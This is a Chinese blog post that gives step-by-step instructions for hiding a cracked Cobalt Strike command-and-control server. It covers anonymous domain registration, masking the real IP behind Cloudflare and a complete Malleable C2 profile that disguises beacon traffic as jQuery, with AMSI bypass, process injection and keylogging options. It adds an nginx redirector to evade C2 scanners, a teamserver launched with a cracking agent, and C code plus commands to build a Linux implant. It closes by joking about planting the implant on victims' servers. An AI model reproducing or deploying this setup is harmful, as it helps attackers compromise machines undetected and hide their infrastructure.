小论如何快速隐藏CobaltStrike

     分类: Linux,个人笔记,未分类,网络安全 发布时间: 2023-02-01 22:37 1,483人浏览

原版的CobaltStrike存在某些未授权访问漏洞,以及特征太过于明显,以至于很容易被C2检测器发现。本文记录了一些隐藏特征的方法,这些方法不涉及更改cs底层jar文件,适合小白(指自己)快速部署。

本文目标:从流量、端口、访问页面等方面尽可能隐藏cs流量,运用cdn实现IP隐匿,同时实现linuxC2通讯功能。

零、CobaltStrike版本

自行找一个破解之后的CobaltStrike,建议使用4.4及以上,本文使用的版本为4.5

一、配置TLS证书

首先需要利用CDN实现隐藏真实IP的目的,这里我们需要用到cloudflare的免费cdn和购买一个域名。切记域名不要在国内实名购买,而是选择godaddy、namecheap、Dynadot等自带域名隐私保护的域名商

1、购买一个域名并配置cloudflare域名解析,步骤略。记得要打开cdn模式,切勿暴露真实ip

2、更改cloudflare配置SSL/TLS加密模式为完全

3、在SSL/TLS——源服务器选项中生成一个新的证书,配置默认即可。生成cloudflare的pem和key文件,分别保存为cf.pem和cf.key,并上传至cs服务器

4、生成p12证书文件:
openssl pkcs12 -export -in cf.pem -inkey cf.key -out spoofdomain.p12 -name 你自己的域名 -passout pass:自己设置一个密码

生成.store格式文件
keytool -importkeystore -deststorepass 刚才设置的密码 -destkeypass 刚才设置的密码 -destkeystore cf.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass 刚才设置的密码

运用cs的自带工具检查store有效性:
keytool -list -v -keystore cf.store

看到cf相关证书即成功:

参考链接

cobalt strike cdn上线笔记

二、编写profile文件

cs的http相关流量特征可以根据profile文件改变。

以下提供相关配置profile,方便之后的配置使用,其中中文部分记得要做对应的修改。虽然github中有很多profile案例,但切记不能直接套用,现在的C2扫描器可以针对常用的几个profile直接扫描,建议自行设置一个复杂的url路径。以下的profile文件根据github上jQuery的profile做了少许修改

set sample_name "kris_abao";

set sleeptime "12000"; #默认睡眠时间
set host_stage "false"; #设置不允许stage模式
set jitter    "60"; #时间抖动值(0~99)
set data_jitter "60"; #数据抖动值(0~99)
set useragent "自己挑一个合适的ua"; #这里的ua建议选择一个稍微独特一点的,方便之后nginx过滤

set pipename "mojo.5688.8052.183894939787088877##";
set pipename_stager "mojo.5688.8052.35780273329370473##";
set tcp_frame_header "\x80";
set smb_frame_header "\x80"; 

code-signer{
   set keystore "cf.store";
   set password "刚才设置的store密码";
   set alias "第一步配置的cf域名";
}

https-certificate {
    set CN  "sni.cloudflaressl.com";
    set O   "Cloudflare";
    set L   "San Francisco";
    set C   "US";
}

http-config {
    set headers "Server, Content-Type, Cache-Control, Connection";
    header "Connection" "close";
    header "Cache-Control" "max-age=2";
    header "Server" "nginx";
    #记录xff值,方便cdn过来时还能记录真实ip
    set trust_x_forwarded_for "true";
    #can set whether you want to remove the UA that teamserver blocks by default
    set block_useragents "curl*,lynx*,wget*";
}

http-get {

    set uri "/js/jquery-3.3.1.min.js"; #这里可以自行更改一个复杂的路径
    set verb "GET";
    client {
        header "Accept" "*/*";
        header "Accept-Language" "zh-CN,zh;q=0.8,zh-TW;";
        metadata {
            base64url;
            prepend "https://www.google.com/what?indextype=1&__cfduid=";
            header "Referer";
        }
    }

    server {
        header "Content-Type" "application/*; charset=utf-8";
        header "content-transfer-encoding" "binary";
        output {   
            base64;          
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\r!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.7.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.7.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.7.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
            append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/js/jquery-3.3.1.slim.min.js";
    set uri_x64 "/js/jquery-3.3.2.slim.min.js";
    server {
        header "Content-Type" "application/*; charset=utf-8";
        header "content-transfer-encoding" "binary";
        output {           
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\r!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.7.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.7.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.7.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
            append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }

    client {
        header "Accept" "text/html,application/xml;";
        header "Accept-Encoding" "gzip, deflate";
        header "Content-Type" "application/*; charset=utf-8";
        header "content-transfer-encoding" "binary";
    }
}
http-post {
    set uri "/post"; #自行更改一个复杂的路径
    set verb "POST";
    client {
        header "Accept" "*/*";
        header "Accept-Language" "zh-CN,zh;q=0.8,zh-TW;";
        id {
            base64;
            prepend "https://www.google.com/what?indextype=1&__cfduid=";
            header "Referer";
        }
        output {
            base64url;
            print;
        }
    }

    server {
        header "Content-Type" "application/*; charset=utf-8";
        header "content-transfer-encoding" "binary";
        output {   
            mask;
            base64url;

            # 1st Line
            prepend "{200}\r";
            append "/*! Upload succeeded */";
            print;
        }
    }
}


process-inject {
    set allocator "NtMapViewOfSection";
    set min_alloc "17500";
    set startrwx "false";
    set userwx   "false";
    transform-x86 {
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
        #append "\x90\x90";
    }
    transform-x64 {
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
        #append "\x90\x90";
}
    execute {
        CreateThread "ntdll.dll!RtlUserThreadStart+0x2285";
        NtQueueApcThread-s;
        SetThreadContext;
        CreateRemoteThread;
        CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
        RtlCreateUserThread;
    }
}


post-ex {
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
    set pipename "Winsock2\\CatalogChangeListener-###-0,";
    set keylogger "GetAsyncKeyState";
}

编写完成之后,记得检查编写的profile文件是否有效:
./c2lint cf.profile
如果提示没有error即成功,提示会存在warning:.host_stage is FALSE. This will break staging over HTTP, HTTPS, and DNS!这个可以无视,因为stage模式的安全性原因,尽量不使用它,而是使用stageless模式。之后的所有配置,包括linux的上线都是会只使用stageless模式。

参考链接

Cobalt Strike 的 Profile 文件解析
rsmudge/Malleable-C2-Profiles

三、配置nginx代理转发

这一步主要是为了过滤互联网上的c2扫描器。利用nginx反向代理的特性,把所有不符合cs的profile文件请求都给拒掉,在杜绝cs服务器未授权访问漏洞的同时,也大大增强了隐蔽性。这里我们除了针对url过滤之外,同时也强制要求ua相同才可以访问,进一步加强安全性。如果想的话,还可以在加上强制证书验证功能,这里给出的配置文件暂时没有开启。

1、安装docker,步骤略
2、拉取nginx镜像docker pull nginx
3、docker启动nginx:docker run -d -p 443:443 --add-host=host.docker.internal:host-gateway nginx
注意这里的-add-host=host.docker.internal:host-gateway不能漏,否则docker容器里会无法转发到我们实体机上的cs服务器。
4、复制之前的证书到nginx容器中:
docker cp cf.pem 容器id:/etc/nginx/cf.pem
docker cp cf.key 容器id:/etc/nginx/cf.key
5、进入nginx容器docker exec -it 刚才启动的容器id /bin/bash
6、编辑/etc/nginx/conf.d/default.conf,原来的全删了,写入:

server {
    listen 443 ssl http2;
    ssl_certificate /etc/nginx/cf.pem;
    ssl_certificate_key /etc/nginx/cf.key;
    #ssl_verify_client on;
    #下面写profile中get的url路径
    location ~*/js/jquery {
        #start with jquery
        #下面写上profile中配置的ua
        if ($http_user_agent != "profile中设置的useragent") {return 302;}
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass  https://host.docker.internal:2095;
        }
    #下面写profile中的post的url路径
    location ~*/post {
        #start with jquery
        #下面写上profile中配置的ua
        if ($http_user_agent != "profile中设置的useragent") {return 302;}
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass  https://host.docker.internal:2095;
        }
        #重定向其他所有请求,防止扫描器扫描
        location / {
        proxy_pass  https://www.google.com/;
        }

}

7、重启容器docker restart 容器id

nginx反向代理配置完成。注意在这一步中,我们使用nginx将443的端口流量转发到了2095端口,也就是说cs后面实际上要监听的端口就是2095端口。

参考链接

Cobalt Strike with CloudFlare
cobaltstrike配置nginx反向代理
博客使用Cloudflare和Nginx的相关配置

四、防火墙配置

运用iptables配置防火墙,限制cs监听端口只能被本机访问,注意对外决不能暴露真实监听端口:
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 2095 -j ACCEPT
iptables -A INPUT -s 172.17.0.0/16 -p tcp --dport 2095 -j ACCEPT
iptables -A INPUT -p tcp --dport 2095 -j DROP

五、启动cs服务器,测试效果:

修改一下teamserver的登录端口,默认的50050端口太容易被发现:
编辑文件中最后一行,主要是更改server_port、keyStore和keyStorePassword:
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=自己改的端口 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cf.store -Djavax.net.ssl.keyStorePassword=store密码 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar -javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542 -Duser.language=en server.TeamServer $*

启动cs服务端:
nohup ./teamserver 服务器真实IP cs登录密码 cf.profile &
创建监听器的时候,记得要区别cdn的上线端口和实际cs真实监听端口:

运用nmap的脚本探测,是否还存在cs痕迹,这里建议把真实IP和cdn之后的域名都检测一遍:
nmap 47.10.xxx.xxx –script=grab_beacon_config.nse

走了cdn之后的域名,虽然会像上图一样显示部分信息,但仔细观察可以发现这些信息是完全无用的,无法据此判断是否为真实cs服务器了。

参考链接

whickey-r7/grab_beacon_config

六、配置linux上线插件

默认cs只能生成针对windows的马,针对linux的有所缺失。这里使用crossC2插件,实现对linux的上线。

1、安装插件
包括CrossC2-GithubBot-2022-06-07.cna
CrossC2Kit-GithubBot-2022-06-07.zip
genCrossC2.Linux

其中cna插件和CrossC2Kit均在客户端中加载,实现对linux的控制
genCrossC2.Linux(或者win、mac,取决于你的平台)相对独立,只是用于生成木马

2、编写profile.c
因为我们自己定义了profile文件,所以需要根据通信协议API自定义动态链接库,否则无法直接上线。

根据之前的profile文件,编写profile.c参考如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
    //修改请求URL和profile文件中一致
    char *requestBody = "GET /%s HTTP/1.1\r\n"
        "Host: 你自己的域名\r\n"
        "Accept: */*\r\n"
        "Accept-Language: zh-CN,zh;q=0.8,zh-TW;\r\n"
        "User-Agent: profile文件中定义的UA\r\n"
        "Referer: https://www.google.com/what?indextype=1&__cfduid=%s\r\n"
        "Connection: close\r\n\r\n";
    char postPayload[20000];
    sprintf(postPayload, requestBody, "js/jquery-3.3.1.min.js", reqData); //这里改成你自己定义的get请求的url,记得最前面的/要去掉

    *outputData_len =  strlen(postPayload);
    *outputData = (char *)calloc(1,  *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);

}
void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
    char *requestBody = "POST /%s HTTP/1.1\r\n"
        "Host: 你自己的域名\r\n"
        "Accept: */*\r\n"
        "Accept-Language: zh-CN,zh;q=0.8,zh-TW;\r\n"
        "User-Agent: profile文件中定义的UA\r\n"
        "Referer: https://www.google.com/what?indextype=1&__cfduid=%s\r\n"
        "Connection: close\r\n"
        "Content-Length: %d\r\n\r\n%s";
    char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200);
    sprintf(postPayload, requestBody, "post", id, strlen(reqData), reqData); //这里改成你自己定义的post请求的url,记得最前面的/要去掉

    *outputData_len =  strlen(postPayload);
    *outputData = (char *)calloc(1,  *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);
    free(postPayload);
}

char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {

    //find_payload() 从原始数据中,找到以"ffffffff1"字符串开始,"eeeeeeee2"字符串结束中间包含的数据

    // ffffffff1AAAABBBBCCCCDDDDeeeeeeee2 -> AAAABBBBCCCCDDDD

    // *payload_len = xx; // 返回找到的payload长度
    // return payload; // 返回找到的payload

    rawData = strstr(rawData, start) + strlen(start);

    *payload_len = strlen(rawData) - strlen(strstr(rawData, end));

    char *payload = (char *)calloc(*payload_len ,sizeof(char));
    memcpy(payload, rawData, *payload_len);
    return payload; 
}

void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
    //如果你修改了profile中的prepend和append,记得修改为一样的,其中prepend对应start,append对应end。需要注意的是,如果这一段长的话,截取prepend最后数个字符,和append最前数个字符,保证唯一性即可
    char *start = "return-1},P=\"\r"; 
    char *end = "\".(o=t.documentElement,Math.max(";

    long long payload_len = 0;
    *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
    *outputData_len = payload_len;
}

void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
    //如果你修改了profile中的prepend和append,记得修改为一样的,其中prepend对应start,append对应end
    char *start = "{200}\r";
    char *end = "/*! Upload succeeded */";

    long long payload_len = 0;
    *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
    *outputData_len = payload_len;
}

生成rebind.so动态链接库文件:
gcc profile.c -fPIC -shared -o rebind.so

用动态链接库生成.out木马文件:
./genCrossC2.Linux 你的域名 443 ./.cobaltstrike.beacon_keys ./rebind.so Linux x64 ./a.out Stagerless 4.4

然后不出意外,你就可以愉快地把这个文件改名然后放在大冤种们的服务器里面运行啦:)

参考链接

gloxec/CrossC2

七、更多防御

建议客户端在连接的时候,强制使用代理访问,彻底断绝与真实IP相关的联系:
设置连接客户端代理,jar启动脚本添加参数即可:-DsocksProxyHost=127.0.0.1 -DsocksProxyPort=1080


上一篇文章:

一条评论
  • szhshp

    2023年9月15日 下午1:31

    也不知道是不是 AI 的冲击, 感觉今年大家其实不怎么写文章了

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注